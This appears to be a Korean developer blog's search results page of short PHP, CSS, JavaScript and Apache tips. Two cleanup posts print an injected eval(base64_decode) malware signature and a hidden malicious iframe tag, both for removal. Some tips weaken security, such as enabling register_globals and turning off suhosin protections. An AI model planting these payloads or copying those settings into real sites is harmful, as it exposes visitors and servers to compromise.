검색
"php 엑셀" 키워드로 총 129건 검색되었습니다.
[갤러리] 나의 인생굴곡 그래프
굴곡이 참 ... ㅎㅎ재미삼아 해보세요.http://www.nsquaresoft.com/life/index.php
[윈도우팁] 엑셀 Alt+Enter 줄바꿈(개행문자:CR-LF)문자 일괄 치환 방법
Ctrl+H 키를 누른 후에 -> 찾을내용 커서에서 -> Alt+10(오른쪽 숫자 키패드) -> 바꿀내용 공백 혹은 치환 문자 지정
[윈도우팁] 윈도우7 엑셀 창 여러개 띄우기, 엑셀 창 두개 이상 띄우기
1, HKEY_CLASSES_ROOT > Excel.Sheet.12 > shell > Open > ddeexec 폴더삭제 >>>폴더 전체를 삭제 합니다!! 2, HKEY_CLASSES_ROOT > Excel.Sheet.12 > shell > Open > command>>>폴더 안에 있는 내용의 command 삭제 3, HKEY_CLASSES_ROOT > Excel.Sheet.12 > shell > Open > c...
[윈도우팁] 인터넷 익스플로러(IE6, IE7, IE8) 동시에 같이 사용하기
인터넷 익스플로러(IE6, IE7, IE8) 동시에 같이 사용하기
[Software]
웹 표준과 크로스 브라우징
잘 만든 웹페이지라면 기본적으로 크로스 브라우징을 잘 지원해야 합니다. 물론 블로그도 마찬가지입니다. 이를 확인하는 데에는 특별한 방법이 있는 게 아니라, 코딩을 끝낸 후 여러 제품의 브라우저로 직접 테스트를 해보면 됩니다. W3C Validator로 표준 유효성 검사를 할 수도 있겠지만, 자신의 웹페이지가 유효성 검사를 통과하더라도 크로스 브라우징이 모두 해결된 것은 아닙니다. 현실적으로 모든 브라우저가 웹 표준...
[개발이슈] Window APM_Setup PHPExcel ZipArchive library is not enabled Error
[에러메세지]Fatal error: Uncaught exception 'PHPExcel_Reader_Exception' with message 'ZipArchive library is not enabled' in ...[해결방법]APM SETUP7의 경우 서버 환경 설정에서 > PHP 확장 > php_zip.dll 체크 > 저장 후 > 서버 재시작
[개발이슈] phpmyadmin 테이블 내보내기 시에 파일 0KB현상 - phpmyadmin table export sql file 0kb issue
[이슈]phpmyadmin 테이블 내보내기시에 파일 0KB현상[점검사항]1. my.ini, php.ini 설정 점검2. 작은 테이블 건수 sql 다운로드 테스트[조치사항]1. 테이블 용량 4MB정도로 내보내기 시 메모리 사용량한계 - php.ini 파일의 memory_limit = 16M; 을 -> 64M로 수정 후 Apache 재기동
[개발이슈] PHP POST 전송데이터 잘리는 현상 - php max_input_vars 설정
[이슈]PHP POST 전송시 잘리는 현상이 발생됨.phpinfo 출력시 max_input_vars 기본값 1000[조치사항]php.ini 파일을 열어 max_input_vars 검색 후 값을 높여줌혹 검색에도 없다면 추가 후 아파치 재시작max_input_vars 5000
[개발이슈] webtob+php 에서 10MB이상 첨부파일 업로드 시 접속지연 및 서비스 끊어짐 현상
[이슈]webtob+php 에서 10MB이상 첨부파일 업로드 시 접속지연 및 서비스 끊어지는 현상[점검사항]php.ini 최대 파일업로드 점검, 엑세스록, 에러로그, 파일업로드 로직 분리 업로드 테스트, 파일 용량 차등(5MB,10MB,20MB,30MB) 업로드 테스트, 웹방화벽, 방화벽, 자체 방화벽(iptables, selinux, Secuve TOS)[확인 및 조치사항]6개월이라는 장기간의 다양한 방법으로 점검 및 조치결과 성과가 없었으나...혹시나 하는 마음에 하위 디렉토리에서의 phpinfo 를 확인하니 하위 디렉토리...
[CSS] 엑셀내보내기 숫자->문자형 표기
style="mso-number-format:'@';"
[CSS] 엑셀내보내기 숫자 콤마 붙이기
style="mso-number-format:'#,##0';"
[CSS] 엑셀로 변환저장시 <br /> 태그 alt + enter 값으로 인식
<style type="text/css">br{mso-data-placement:same-cell;}</style>
[CSS] 엑셀 내보내기에서 셀 대각선 그리기
엑셀 대각선 그리기mso-diagonal-down:.5pt solid windowtext; mso-diagonal-up:.5pt solid windowtext;
[CSS] FF bug - flash position:absolute 일때 플래시 무비 사라짐.
FF 3.0.x 버전에서 나타나는 버그. (3.5.x 이상 버전에서는 정상동작)플래시 무비가 있는 레이어를 position:absolute로 띄울때, 해당 플래시의 wmode가 transparent 인 경우,플래시 무비가 사라져서 보이지 않음.관련 문서들http://snook.ca/archives/other/hit_bug_in_fire/http://board.flashkit.com/board/showthread.php?t=730647http://www.bigresource.com/FLASH-Firefox-and-wmode-tr...
[PHP] [JSP] jsp 엑셀 다운로드 후 바로열기 시 에러시 조치방법
에러 환경 : Window10 64bit / office2016헤더 정보의 컨텐츠 타입을 변경"application/vnd.ms-excel" 에서 -->> "application/octet-stream" 으로
[PHP] PHPExcel 셀높이 기본셋팅 - PHPExcel cell height default setting
## 파일편집/PHPExcel/Worksheet/RowDimension.php## 기본높이 수정private $_rowHeight = 31.50; ## GAP +0.25pt
[PHP] strtotime의 +1 month에 대한 테스트
strtotime을 사용하여 오늘로 하여금 다음의 날을 가져올 수 있는 정말 간편한 함수이다. 하지만 하나의 문제 이슈가 있다는 것이다.보통 strtotime을 사용하여 다음달을 가져오는 부분은 date("Y-m-t", strtotime("+1 month")); 이런식이다.문제는 이렇게 할 경우 오늘의 날짜가 31일이고 다음달이 오늘보다 작을 경우 문제가 되는것이다. date("Y-m-t", strtotime("+1 month"));실행날짜 : 2014-05-31예상날짜 : 2014-06-30결과날짜...
[PHP] 기본설치 PHP phpinfo(); 가 안먹힐때
기본 설치한 PHP의 경우 php.ini의 설정에 short_oepn_tag = Off가 되어있어서 <?phpinfo();?>의경우 정상 출력이 되지 않으며 <?phpphpinfo();?>로 정상 출력이 되므로 short_oepn_tag = On 후 아파치를 리스타트 한다./etc/rc.d/init.d/httpd restart혹은 service httpd restart
[PHP] PHP문서 UTF-8 문자셋인 경우 헤더선언
header("Content-Type: text/html; charset=UTF-8");
[PHP] fopen, fwrite, fclose 함수를 이용한 파일 읽고,쓰기
<? $SaveContent = '테스트'; $InfoSave = fopen('./testFile.php', (is_file('../testFile.php')) ? 'w':'a'); # 해당파일이 있으면 비우고 쓰기/없으면 생성후 쓰기 fwrite($InfoSave, $SaveContent); # SaveContent변수의 내용 저장 fclose($InfoSave); # 파일 포인터 닫기?>
[PHP] Apache 및 PHP UTF-8 설정
httpd.conf 파일에서 #Include conf/extra/httpd-languages.conf 주석을 풀어준다.혹은 httpd.conf 에 AddDefaultCharset UTF-8 추가php.ini 파일에 default_charset = "utf-8" 추가 혹은 수정
[PHP] ip2nation 전세계 IP 리스트
sql 파일은 사이트에서 다운로드 받을 수 있으며, 샘플코드는 아래와 같습니다.<?php $server = ''; // MySQL hostname $username = ''; // MySQL username $password = ''; // MySQL password $dbname = ''; // MySQL db name $db = mysql_connect($server, $username, $passw...
[PHP] PHP이용 이미지를 DB에 저장하고 출력하는 방법
테이블 구조 CREATE TABLE gallery( id INT NOT NULL auto_increment, image BLOB NOT NULL, title VARCHAR(100) DEFAULT '' NOT NULL, width SMALLINT(6) DEFAULT '0' NOT NULL, height SMALLINT(6) DEFAULT '0' NOT NULL, file_size INT , # 파일크기 PRIMARY KEY (id) ) ; 이미지 받아들이는 HTML 소스 <form action='gallery.ht...
[PHP] UTF-8 인코딩에서의 BOM(Byte Order Mark)으로 인한 문제점
다양한 언어를 표현할 수 있도록 해주는 유니코드(Unicode) 인코딩에는 여러가지 방식이 있습니다. 최근 웹 환경에서 많이 쓰이는 UTF-8을 비롯해서 UTF-16, UTF-32 등이 이런 인코딩 방식을 나타냅니다.이렇게 비슷한 방식을 사용하는 문서는 Byte Order Mark(BOM)로 구별이 됩니다. 문서 맨 앞에 눈에 보이지 않는 특정 바이트(byte)를 넣은 다음 이것을 해석해서 정확히 어떤 인코딩 방식이 사용되었는지 알아내는 방법입니다.
그런데 UTF-8 인코딩 방식에서는 BOM이 문제를 일으킬 수 있습니다. UT...
[PHP] 제목혹은 내용 자르기 사용자정의 함수
PHP 문자열자르기 사용자 함수function CutString($str, $len, $suffix="…"){ $s = substr($str, 0, $len); $cnt = 0; for ($i=0; $i<strlen($s); $i++) if (ord($s[$i]) > 127)  ...
[PHP] sprintf() 이용하여 자리수 맞추기
PHP 함수 사용 예제$value = 1;$check = sprintf('%03d', $value);결과값001설명'%03d' 해당 패턴 형식으로 d는 십진수를 의미하며 0으로 자릿수 3개를 맞추라는 의미 :)
[PHP] 세션 타임 .htaccess 에서 조정하기
.htaccess 파일에 아래 구문 추가 해주면 된다.php_flag session.gc_maxlifetime 3600시간은 초단위이다.
[PHP] .htaccess 수정을 DirectoryIndex 바꿔주기
DirectoryIndex index.do index.html index.htm index.php index.htm Default.html Default.htm
[PHP] .htaccess 수정하여 index.php 파일 제거
RewriteEngine onRewriteCond $1 !^(index.php|images|robots.txt)RewriteRule ^(.*)$ /index.php/$1 [L]
[PHP] .do 확장자 인식하게 htaccess 편집
AddType application/x-httpd-php .do
[PHP] cURL을 이용한 웹페이지 가져오기
<?php function get_content($url) { $agent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'; $curlsession = curl_init (); curl_setopt ($curlsession...
[PHP] $PHP_SELF 가 안될때
php.ini에서 register_global 설정이 원인php.ini 에서 이 부분을 register_globals = Off 에서 register_globals = On
웹호스팅이라면 .htaccess 안에 코드삽입<? echo $_SERVER['PHP_SELF'];?>
[PHP] addslashes,stripslashes 를 편하게하기
db insert,update 시 addshases는 기본보안 항목일겁니다.
다만, post해서 넘어온 변수를 일일이 addslashes해주는 건 귀찮은 일입니다.
반대로 select로 불러온 뒤 stripslashes하는 것도 상당히 귀찮은 일입니다.
이를 간판하게 하는 방법이 있습니다.
여기에 쉽게 사용방법이 array_map() 함수입니다.
post경우
$_POST=array_map('addslashes', $_POST);
select경우
$re=mysql_query("select.......
while...
[PHP] base64_encode(), base64_decode() 함수
base64_encode
(PHP 3, PHP 4 )base64_encode -- 데이터를 MIME base64로 인코드합니다.
설명string base64_encode ( string data)
base64_encode()는 base64로 인코드한 data를 반환합니다. 이 인코딩은 메일 본문과 같이 8비트를 사용할 수 없는 전송층에서 바이너리 데이터를 안전하게 전송하기 위해 설계되었습니다.
Base64 인코드 데이터는 원 데이터보다 약 33% 많은 공간을 차지합니다.
예 1. base64...
[PHP] 미리보기 이미지 썸네일 만들기 함수 PHP 소스 코드
PHP에서 GD 라이브러리를 활용해서 썸네일을 만들어주는 함수의 소스 코드입니다. 홈페이지를 만들다 보면 사진첩과 같이 이미지를 다수 노출해야 되는 페이지를 구성할 때 필요한 것이 썸네일이며 이를 이용하면 페이지의 로딩 속도를 향상시켜 주며 원본 이미지를 작게 보여줄 때 좀더 선명하게 표현해줄 수 있습니다. 자신의 필요에 맞게 함수를 구성할 수 있는 분이 아니라면 복사해서 활용해보시면 되겠습니다. 함수 파라메터 끝에는 썸네일을 저장할 파일 경로를 입력하시면 되고 경로를 입력하지 않으면 바로 출력됩니다.<?make_thum...
[PHP] 현재 페이지의 도메인명이나 url등의 정보 알아오기
<? $hostname=$_SERVER["HTTP_HOST"]; //도메인명(호스트)명을 구합니다. $uri= $REQUEST_URI; //uri를 구합니다. $query_string=getenv("QUERY_STRING"); // Get값으로 넘어온 값들을 구합니다. $phpself=$_SERVER["PHP_SELF"]; //현재 실행되고 있는 페이지의 url을 구합니다. &nb...
[PHP] 정규식을 이용한 IP주소 유효성 체크
아이피 주소가 형식에 맞나 체크하는 함수로 참이면 1을 거짓이면 0을 반환합니다.<?php
$ipCheck = checkIPAddr("192.168.0.1"); echo$ipCheck;
function checkIPAddr($ip){ $result = 0; if (preg_match('/^(?:25[0-5]|2[0-4]d|1dd|...
[PHP] javascript 에서 php 실행하고 결과값 리턴 받기..(리프레쉬 없이)
javascript 에서 php 실행하고 결과값 리턴 받기..(리프레쉬 없이) 아래소스는 서버에서 시간 값을 읽어서 화면에 1초 단위로 뿌려 줍니다 # index.htm 파일 <html> <body onload="time();"> <script id="dynamic"></script> <script> var data= 0; ...
[PHP] highlight_string()
mixed highlight_string(stirng str, bool return)php 스크립트를 담고 있는 코드일 경우, php 코드를 다양한 색으로 출력한다. <?php$str = "<? echo "안녕하세요" ?>";highlight_string($str);?><? echo "안녕하세요" ?>
[PHP] highlight_file() / show_source()
mixed highlight_file(string filename, bool return) = show_source(string filename)
filename 파일을 전체로 받아 모든 코드가 php 태그, 문자열, 변수, 함수 등으로 나뉘어 다른 색깔로 출력된다.
[PHP] iframe hacking 당한 후에 사용한 치료용 스크립트
실행한 디렉토리부터 하위단에 있는 모든 파일을 다 뒤져서 감염된 파일을
수정하는 방식으로 되어 있다.
파일명 : kickHack.php
<?php//usage : php -f kickHack.php @infected directory root
$hackArr = array( '<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndnIxJykpe2Z1bmN0aW9uIHZyMSgkcyl7aWYocHJlZ19tYXRjaF9hbGw...
[PHP] 자주사용 하는 이미지 오버 출력 PHP 코드
## 롤오버 이미지 컨트롤 PHP 코드 function img_over($img){ echo"name="".$img."""." "."onmouseover="".$img.".src='img/".$img."_ov.gif'""." "."onmouseout="".$img.".src='img/".$img.".gif'""; }함수 호출 방법<img src="/img/mn_cnt_btn_03.gif" width="182" height="16" <?=img_ove...
[MYSQL] 그누보드 UNION을 이용한 인기게시물 뽑아오기
그누보드의 경우 각 게시판마다 테이블이 정해져있다. 때문에 기본키인 wr_id가 중복이 되므로 조인이 불가능하다. 다른 방법으로는 게시판을 지정 후 PHP에서 코딩으로 정해진 테이블에 접근 후 해당 배열을 합쳐 배열을 정렬하는 방법이 있을 수 있다. 하지만 이 방법은 비효율적이라 생각되고 프로그램상 DB에 여러번 접근하는 방법은 좋은 방법이 아닌거 같다. 기존에 최근게시물 혹은 추천게시물의 경우 따로 테이블이 지정되어 있어 바로 사용할 수 있다.쿼리 예)$RESULT= mysql_query(" ( SELECT...
[MYSQL] mysql 명령어에서 엑셀파일 *.csv로 만드는 방법
csv 는 말 그대로 콤마로 구분된 일반 데이타입니다. php 로 일반적인 쿼리날려서 가져온 데이타를 반복문을 사용하여 csv 형태로 만드는 방법과 쿼리로 처리하는 방법이 있습니다. http://www.mysql.com/doc/en/SELECT.html 에 보면
select outfile 을 이용하여 결과를 저장할 수 있습니다. 예) SELECT a,b,a+b INTO OUTFILE "/tmp/result.text" FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LI...
[HTML] 엑셀 셀에 HTML(css)로 X 표 그리기
mso-diagonal-up:.5pt solid windowtext; 오른쪽 위에서 왼쪽 아래로 줄 긋기mso-diagonal-down:.5pt solid windowtext; 왼쪽 위에서 오른쪽 아래르 줄 긋기이 두가지를 사용해서 CSS로 셀에 X 구현이 가능하다.
[웹표준] 최근목록 출력시 more(전체보기) 링크시 유의점
설명게시판의 최근 목록 몇 개만을 뽑아 첫 페이지에 보여주는 형태로 웹사이트에서 자주 쓰입니다.주의점보통 [more]를 이미지 혹은 링크로 할경우 alt="more" 이외에 별도의 링크 title 표기가 있어야 한다.사용예<a href="/view/notice.php" title="공지사항 목록"> <img src="images/NotcieMoreBtn.gif" alt="more" /></a>
[JAVASCRIPT] 휴대폰 / 컴퓨터 접속을 체크하여 출력 javascirpt버전
스마트폰인지 체크하여 컴퓨터와 휴대폰을 구분 지어 출력합니다.요즘 스마트폰 사용이 급중하면서 웹페이지도 모바일버전 보급과 사용이 활발해 졌습니다.이에따라 개발자들이 조금더 구현 및 구분을 쉽게하기 위해 사용자함수 입니다.PHP 버전은 PHP 게시판에 있어요.var MobileCheck = function(){ var MobileVersi = navigator.userAgent.toLowerCase(); var MobileArray = new Array("iphone","lgtelecom","skt","mobi...
[JAVASCRIPT] select 박스 선택할수 있는 또다른 방법
기존에 셀렉트박스 선택을 하기위해선 PHP for 문이나 while 문혹은 if 문으로 일일이 비교해서 맞으면 selected 로 했으나!!!이건 너무 번거로운 방법이다.스크립트와 php 한줄로 해결할수 있다.wr_form.email_sct.value = "선택값";이런형식으로 값을 넘기게되면 해당 값을 선택하게 되고없을겨우는 PHP코딩으로 공백을 넘기면되고 공백값을 하나 주면 끝!!
[JAVASCRIPT] jQuery로 플래쉬효과나는 슬라이드 트리메뉴~
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html> <head> <meta http-equiv="content-type" content="text/html; charset=euc-kr"> <meta name="generator" content="virhac.com"> <title></title&g...
[JAVASCRIPT] 그림위에서만 오른쪽 마우스를 쓰지 못하게 하기
index.php 부분에 shop.js 파일을 불러오도록 되어있으니 shop.js 파일 내용 아래에============var clickmessage="그림에는 마우스 오른쪽 버튼이 금지되었어요" function disableclick(e) { if (document.all) { if (event.button==2||event.button==3) { if (event.srcElement.tagName=="IMG"){ alert(clickmessage); ...
[JAVASCRIPT] 요즘 문제되는 팝업차단 문제 해결법
var request;
function createXMLHttpRequest()
{
if (window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else {
request = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function startRequest()
{
createXMLHttpRequest();
request.open("GET", "logou...
[JAVASCRIPT] 오른쪽버튼 금지 및 드래그금지 태그
위에 소스를 드래그금지해야할 페이지 상단 및 하단에 삽입해 주세요
제로보드 페이지별 outlogin.php 소스에 삽입해도 됩니다.
[이 게시물은 VIRHAC님에 의해 2009-09-13 14:39:33 HTML에서 이동 됨]
[JAVASCRIPT] 페이지 이동방법
1.
2.
location.href="이동되어질 주소";
parent.프레임명.location.href="이동되어질 주소";
window.open("이동되어질 주소");
3.
4.
[이 게시물은 VIRHAC님에 의해 2009-09-13 14:39:33 HTML에서 이동 됨]
[JAVASCRIPT] html 파일에 권한걸고 원하는권한이아닐경우 다른주소로 내보내기
html.php 모두 사용가능하구요
이렇게 권한을 걸어놓으면 해당레벨이 안되는회원은 저절로 부드럽게
다른주소로 이동하게됩니다
//아래꺼 쭉 복사해서 붙여넣기한다음 자신에게맞게;;수정!////////////////////////////
관리자페이지입니다~~
///////////////
제일위에 절대경로.제로보드경로 저것은 최근게시물을 달때 제일위에써주는것과일치하구요
이부분 을 잠깐설명하자면;; 멤버 회원의레벨이 1보다 더클경우 페이지를이동 "레벨1이아닌경우내보내래주소"
뭐 이렇습니다.....
[JAVASCRIPT] 자바스크립트로 PHP의 number_format 흉내
function number_format(data)
{
var tmp = '';
var number = '';
var cutlen = 3;
var comma = ',';
var i;
len = data.length;
mod = (len % cutlen);
k = cutlen - mod;
for (i=0; i
[JAVASCRIPT] 방향키를 이용해서 이전 게시물 또는 다음 게시물 이동하기 (핫키)
왼쪽 방향키( <-- ) 즉, 이전 게시물은 키코드 값이 37이구요. 오른쪽 방향키( --> ) 즉, 다음 게시물은 키코드 값이 39입니다. 마지막으로 하나더 설명을 하자면 처음글과 마지막 등록글에서 방향키 사용시 초기 리스트로 이동됨니다. 그리고, 마우스 포커스가 input 이나 textarea 에 위치해 있을때는 작동하지 않습니다. 글작성시에 해당 핫키를 누를 경우 이동하는 것을 금지하기 위해서... 아참 버그가 하나 있습니다. 내용 보기에서 마우스 오른쪽 클릭을 하게되는 경우에... 핫키가 작동하지 않습니다. ...
[JQUERY] 팝업창 띄우지 않고 아이디 중복확인 하기
** 1 . 따로 중복확인을 누르지 않고 아이디를 입력하고 포커스를 옮기는 순간 중복확인이 체크된다
** 2 . 중복확인 승인을 받은 후 다시 아이디를 고쳤을 경우도 체크된다
** 3 . check_id() 에들어있는 유효성체크 함수들은 여기에 표시하지 않았다 유효성 체크를 위해서는
해당 함수들을 따로 선언해야 한다
** 4 . 모든 유효성 체크는 check_id() 에서 실시하고 submit 시킬경우 공백체크만
&nbs...
[JQUERY] php ajax 한글깨질때..
실행되는 php 파일 상단에 아래 문구 적용
header("Content-Type: text/plain ; charset=euc-kr");
[LINUX] sendmail을 이용한 php mail함수 발송시 DSN: User unknown 메세지
/etc/mail/local-host-names 백업 후 내용 삭제 -> sendmail 재가동 후 발송확인
[LINUX] $HTTP_POST_VARS, $HTTP_GET_VARS 사용되지 않을때
/etc/php.iniregister_long_arrays = Off 를 On으로 수정 후 아파치 리스타트!
[LINUX] mysql 확장모듈을 불러올 수 없습니다.
yum 혹은 rpm으로 설치된 경우 php-mysql 패키지의 누락으로 발행될 수 있는 에러이다. rpm -qa | grep php-mysql 명령시 예를들어 php-mysql-5.3.3-3.el6_2.8.i686 가 없다면yum install php-mysql* 로 설치가 가능하나 그게 안될경우 rpm -qa | grep php 로 설치된 목록의 버전을 체크하여php-common-5.3.3-3.el6_2.8.i686이 있다면구글에서 php-mysql-5.3.3-3.el6_2.8.i686&n...
[LINUX] apache(httpd) Sytax OK지만 실패의 경우
apache(httpd) Sytax OK지만 실패의 경우
해당 문제의경우 여러가지 원인이 있으며, 때문에 error_log를 잘 살펴봐야합니다.
또한 httpd.conf 설정에는 Include conf.d/*.conf 형식으로 .conf 전체를 인클루드 시켜버리기때문에 잘 체크해야합니다.
저의 경우 nss.conf가 원인이었으며 OS업데이트시 php 버전업데이트가 되면서 모듈 호환성에 문제가 있는것으로 생각되어
nss.conf를 다른곳으로 보관 재시작하였습니다.
[LINUX] 아파치 업로드 폴더 확장명 PHP 실행 막기
<Directory "/home/httpd/*/public_html/*/data/">
<Files ~ ".(php|html|htm|py|cgi|php3|php4|inc|phtml)$"> Order Deny,Allow &...
[LINUX] [CentOS] apache2.x mod_url 설치
컴파일 가능상태 확인
# httpd -l
mod_so.c가 포함되어이 있다면 apxs로 컴파일 가능
# wget http://kldp.net/frs/download.php/4101/mod_url-apache2-1.8.tar.bz2
# tar xvf mod_url-apache2-1.8.tar.bz2
# cd mod_url-apache2
# /usr/local/apache2/bin/apxs -aic mod_url.c
해당 명령이 정상 실행되면 httpd.conf에
LoadModule ...
[LINUX] .htaccess를 이용한 특정 폴더만 PHP 번역금지 방법
해당 디렉토리에 .htaccess 파일을 생성합니다.아래는 확장자 php / html / inc / htm / php3 코드 번역을 금지합니다.보통 data 폴더에 php 번역 확장자를 업로드하는 해킹 기법을 방어하는데 약간의 도움이 됩니다.<Files ~ ".*.(php|htm|inc|html|php3)$"> Order allow,deny Deny from all </Files>
[LINUX] Apache Welcome file 설정
<IfModule dir_module> DirectoryIndex index.html index.htm index.php</IfModule> 해당 우선 순위는 index.html > index.htm > index.php 입니다.같은 파일이 같은 디렉토리에 있을때 우선 순위를 결정 합니다.
[LINUX] 미리내 .htaccess Mysql Write Limit 60KB
php_flag register_globals on
php_flag suhosin.post.max_vars 11500php_flag suhosin.post.max_value_length 600000000php_flag suhosin.request.max_vars 11500php_flag suhosin.request.max_value_length 600000000php_flag suhosin.session.encrypt Offphp_flag suhosin.session.cryptua Offphp_flag suhosin.sessi...
[바이러스정보] 부팅 오작동 증상을 유발하는 악성코드 주의
최근 국내외에서 발견 보고되고 있는 일부 악성코드 중에 비정상적인 레지스트리의 생성과 오작동으로 인하여 윈도우가 정상적으로 시작되지 않는 피해 보고가 나타나고 있는 상황이며, 변종도 추가적으로 발견되고 있다.잉카인터넷 시큐리티 대응센터에서는 이번에 발견된 악성코드(변종 포함)를 진단하고 치료할 수 있는 전용백신을 제작하여 무료로 제공하고 있다.[무료 전용백신 제공]http://www.nprotect.com/v6/data/index.php?mode=vs_down_view&no=289현재...
[바이러스정보] MS Windows 부팅 불능 악성코드 감염 주의
□ 개 요
o PC 재부팅 시 검은 화면에 마우스만 나타나며, 정상적인 부팅을 방해하는 악성코드가 발견되어 사용자의 주의가 요구됨 [1, 3, 4] ※ 안전모드에서도 부팅이 불가함
□ 설 명
o 악성코드에 감염될 시 다음과 같은 레지스트리 값이 설정됨 - 경 로: HKLMSoFtWAREMicrosoftWindows nTcurrentver...
[해킹정보] FTP 계정 유출을 통한 악성코드 삽입 대처 하자 !
최근 ftp 계정 정보가 유출되어 홈페이지에 악성코드가 삽입되는 사례가 급격히 늘고 있습니다.
감염된 pc 사용자가 웹 사이트 파일을 관리 하는 ftp 클라이언트 프로그램을 가지고 ftp 접속을 할 경우 id 와 password 를 빼내어 해당 웹사이트 파일 이름이 index ,main 으로 되어 있는 파일들을 변조해서 악성코드를 다운받도록 코드를 심어 놓은 방식으로 진행이 되고 있습니다.
홈페이지 파일 내에서 악성코드를 지우는 것으로 만은 문제가 해결되지 않도록 진화하고 있는 실정입니다. 이 때문에 본의 아니게...
[해킹정보] iframe hacking 당한 후에 사용한 치료용 스크립트
실행한 디렉토리부터 하위단에 있는 모든 파일을 다 뒤져서 감염된 파일을
수정하는 방식으로 되어 있다.
<?php//usage : php -f kickHack.php @infected directory root
$hackArr = array( '<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndnIxJykpe2Z1bmN0aW9uIHZyMSgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCR...
[해킹정보] index, main파일 아이프레임악성코드 대처
어느 날 갑자기 멀쩡하던 홈페이지 레이아웃이 엉망으로 바뀌면서 관리자 페이지도 못들어가는 증상이 발생하여 index.php 소스를 내려받아 코드를 살펴보니 원래는 없던 코드가 아이프레임 방식으로 히든처리되어 심어져 있습니다.
코드는 <iframe src="./hxxxxxp://bestfindaloan.cn:8080/index.php" width=116 height=188 style="visibility: hidden"></iframe> 식입니다. 주소는 매우 다양합니다 (6월6일자 보고에 의하면 48,00...
[일반자료실] UTF8 로 일괄 파일 변경 또는 다시 ANSI 로 변경하는 프로그램(RedUTF8.exe)
*.php 등 화일을 하나하나 utf8로 변경하는 건 번거롭더라고요. 이 프로그램 이용하니, 해당 서브디렉토리까지 단번 에 변경되네요. 다만, 이 프로그램은 문자코드셋만 바꿔주는 것이기 때문에, $g4['charset'] = "euc-kr"; $g4['charset'] = "utf-8"; 와 같은 종류의 코드내용이 들어가 있는 부분은 따로 수정을 해야 할 것 같습니다.(내용 변경은 따로) 이건, 소스 올려 주시는 분이 코멘트를 달아 주시면 좋고, 아니면, $ grep -ni euc-kr * 명...